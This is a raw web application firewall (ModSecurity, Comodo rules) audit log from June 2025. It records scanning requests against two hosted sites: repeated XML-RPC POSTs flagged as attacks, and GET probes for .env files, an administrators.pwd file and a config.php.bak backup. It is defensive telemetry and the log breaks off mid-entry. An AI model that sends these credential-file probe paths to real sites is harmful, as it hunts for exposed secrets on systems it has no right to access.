"DETECTION_ONLY" --b68fdd59-Z-- --64df130f-A-- [16/Jun/2025:02:05:44.494676 +0530] aE8un0aRoH9PZO5fwRnhaAAAAAw 128.199.112.101 41326 127.0.0.1 7081 --64df130f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --64df130f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --64df130f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8un0aRoH9PZO5fwRnhaAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019743565767 928965 (- - -) Stopwatch2: 1750019743565767 928965; combined=2022, p1=346, p2=1268, p3=43, p4=60, p5=188, sr=91, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64df130f-Z-- --675d8a24-A-- [16/Jun/2025:02:06:37.917761 +0530] aE8u1SHEjD4mqWjYVm12RwAAABM 185.177.72.210 56530 127.0.0.1 7081 --675d8a24-B-- GET /_vti_pvt/administrators.pwd HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --675d8a24-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d68daa5ea25b0bd5c3ee31184c336cbe1750019797; expires=Sun, 15 Jun 2025 21:36:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --675d8a24-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".pwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_pvt/administrators.pwd"] [unique_id "aE8u1SHEjD4mqWjYVm12RwAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019797178553 739302 (- - -) Stopwatch2: 1750019797178553 739302; combined=1839, p1=348, p2=1370, p3=0, p4=0, p5=121, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --675d8a24-Z-- --c8295b13-A-- [16/Jun/2025:02:06:40.080165 +0530] aE8u12BSQiWwwCa-v2QBAwAAAAQ 185.177.72.210 43858 127.0.0.1 7081 --c8295b13-B-- GET /:8443/environments/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8295b13-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=efb06ea1c20aa80f110abd902c12c03f1750019799; expires=Sun, 15 Jun 2025 21:36:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8295b13-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/environments/.env"] [unique_id "aE8u12BSQiWwwCa-v2QBAwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019799406909 673351 (- - -) Stopwatch2: 1750019799406909 673351; combined=1986, p1=427, p2=1463, p3=0, p4=0, p5=95, sr=118, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8295b13-Z-- --ad31c275-A-- [16/Jun/2025:02:06:44.457511 +0530] aE8u2yHEjD4mqWjYVm12SgAAABM 128.199.112.101 44036 127.0.0.1 7081 --ad31c275-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ad31c275-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ad31c275-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8u2yHEjD4mqWjYVm12SgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019803498490 959075 (- - -) Stopwatch2: 1750019803498490 959075; combined=2784, p1=485, p2=1891, p3=41, p4=70, p5=183, sr=123, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ad31c275-Z-- --092ce129-A-- [16/Jun/2025:02:06:44.779365 +0530] aE8u3Il8S04UZ4l67-nXNgAAAAk 185.177.72.210 44056 127.0.0.1 7081 --092ce129-B-- GET /fonts/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --092ce129-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1996d19711e6c807d6fe904f6d515a651750019804; expires=Sun, 15 Jun 2025 21:36:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --092ce129-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/fonts/.env"] [unique_id "aE8u3Il8S04UZ4l67-nXNgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019804119114 660327 (- - -) Stopwatch2: 1750019804119114 660327; combined=1785, p1=397, p2=1275, p3=0, p4=0, p5=112, sr=121, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --092ce129-Z-- --5fc86c5b-A-- [16/Jun/2025:02:06:51.978723 +0530] aE8u49xCjYf3vhjKXIttgAAAAA8 185.177.72.210 47138 127.0.0.1 7081 --5fc86c5b-B-- GET /:8443/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5fc86c5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4e78abd44b8c402edc2e19ef5410f0da1750019811; expires=Sun, 15 Jun 2025 21:36:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5fc86c5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/backend/.env"] [unique_id "aE8u49xCjYf3vhjKXIttgAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019811225922 752865 (- - -) Stopwatch2: 1750019811225922 752865; combined=1904, p1=403, p2=1404, p3=0, p4=0, p5=97, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5fc86c5b-Z-- --c1860e71-A-- [16/Jun/2025:02:07:44.320640 +0530] aE8vF1fWRcme38U-qk7m_gAAAAI 128.199.112.101 37892 127.0.0.1 7081 --c1860e71-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c1860e71-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c1860e71-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8vF1fWRcme38U-qk7m_gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019863386358 934339 (- - -) Stopwatch2: 1750019863386358 934339; combined=2370, p1=380, p2=1476, p3=49, p4=68, p5=258, sr=105, sw=139, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1860e71-Z-- --dc50fc4b-A-- [16/Jun/2025:02:08:02.887291 +0530] aE8vKmBSQiWwwCa-v2QBKwAAAAQ 185.177.72.210 47136 127.0.0.1 7081 --dc50fc4b-B-- GET /:8888/storage/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dc50fc4b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6cd92286be1f189493aa81fe7b18d5451750019882; expires=Sun, 15 Jun 2025 21:38:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dc50fc4b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/storage/.env"] [unique_id "aE8vKmBSQiWwwCa-v2QBKwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019882208591 678798 (- - -) Stopwatch2: 1750019882208591 678798; combined=1783, p1=405, p2=1263, p3=0, p4=0, p5=115, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dc50fc4b-Z-- --1ddfa56a-A-- [16/Jun/2025:02:08:08.114353 +0530] aE8vL80RsCO0eBtdhx694AAAAAg 185.177.72.210 47324 127.0.0.1 7081 --1ddfa56a-B-- GET /:8880/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1ddfa56a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6bf5f566ceb6bb3178ebd1b41dfd68bb1750019887; expires=Sun, 15 Jun 2025 21:38:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1ddfa56a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/app/configura/.env"] [unique_id "aE8vL80RsCO0eBtdhx694AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019887403539 710887 (- - -) Stopwatch2: 1750019887403539 710887; combined=1664, p1=392, p2=1190, p3=0, p4=0, p5=82, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1ddfa56a-Z-- --6baac317-A-- [16/Jun/2025:02:08:44.165620 +0530] aE8vU4v0YhcYGG7mzIpkugAAABU 128.199.112.101 54536 127.0.0.1 7081 --6baac317-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6baac317-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6baac317-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8vU4v0YhcYGG7mzIpkugAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019923198884 966802 (- - -) Stopwatch2: 1750019923198884 966802; combined=2537, p1=477, p2=1651, p3=47, p4=65, p5=183, sr=129, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6baac317-Z-- --b719e071-A-- [16/Jun/2025:02:09:12.782047 +0530] aE8vcFfWRcme38U-qk7nKQAAAAI 185.177.72.210 56418 127.0.0.1 7081 --b719e071-B-- GET /staticfiles/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b719e071-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4c9f4857967002353d3c16613fbb586a1750019952; expires=Sun, 15 Jun 2025 21:39:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b719e071-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/staticfiles/.env"] [unique_id "aE8vcFfWRcme38U-qk7nKQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019952078769 703380 (- - -) Stopwatch2: 1750019952078769 703380; combined=1880, p1=395, p2=1353, p3=0, p4=0, p5=131, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b719e071-Z-- --3b98fd22-A-- [16/Jun/2025:02:09:19.703649 +0530] aE8vdmBSQiWwwCa-v2QBVwAAAAQ 185.177.72.210 56856 127.0.0.1 7081 --3b98fd22-B-- GET /:8443/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b98fd22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d7bc079aa366f2990efbae63883a55531750019959; expires=Sun, 15 Jun 2025 21:39:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b98fd22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/vendor/laravel/.env"] [unique_id "aE8vdmBSQiWwwCa-v2QBVwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019958979448 724289 (- - -) Stopwatch2: 1750019958979448 724289; combined=1964, p1=374, p2=1501, p3=0, p4=0, p5=89, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b98fd22-Z-- --6667f760-A-- [16/Jun/2025:02:09:20.691733 +0530] aE8veEaRoH9PZO5fwRnh2AAAAAw 185.177.72.210 33932 127.0.0.1 7081 --6667f760-B-- GET /secure/config.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6667f760-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4bbadc46b70b18a74150f1fe343dfdf41750019960; expires=Sun, 15 Jun 2025 21:39:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6667f760-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/secure/config.php.bak"] [unique_id "aE8veEaRoH9PZO5fwRnh2AAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750019960031956 659860 (- - -) Stopwatch2: 1750019960031956 659860; combined=1730, p1=357, p2=1278, p3=0, p4=0, p5=94, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6667f760-Z-- --cd25fa7b-A-- [16/Jun/2025:02:09:22.840125 +0530] aE8velfWRcme38U-qk7nLgAAAAI 185.177.72.210 34000 127.0.0.1 7081 --cd25fa7b-B-- GET /:5000/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cd25fa7b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c5d28a16122bfde35c1a3d5057ad9b0a1750019962; expires=Sun, 15 Jun 2025 21:39:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cd25fa7b-H-- Message: Warning. Matched phrase 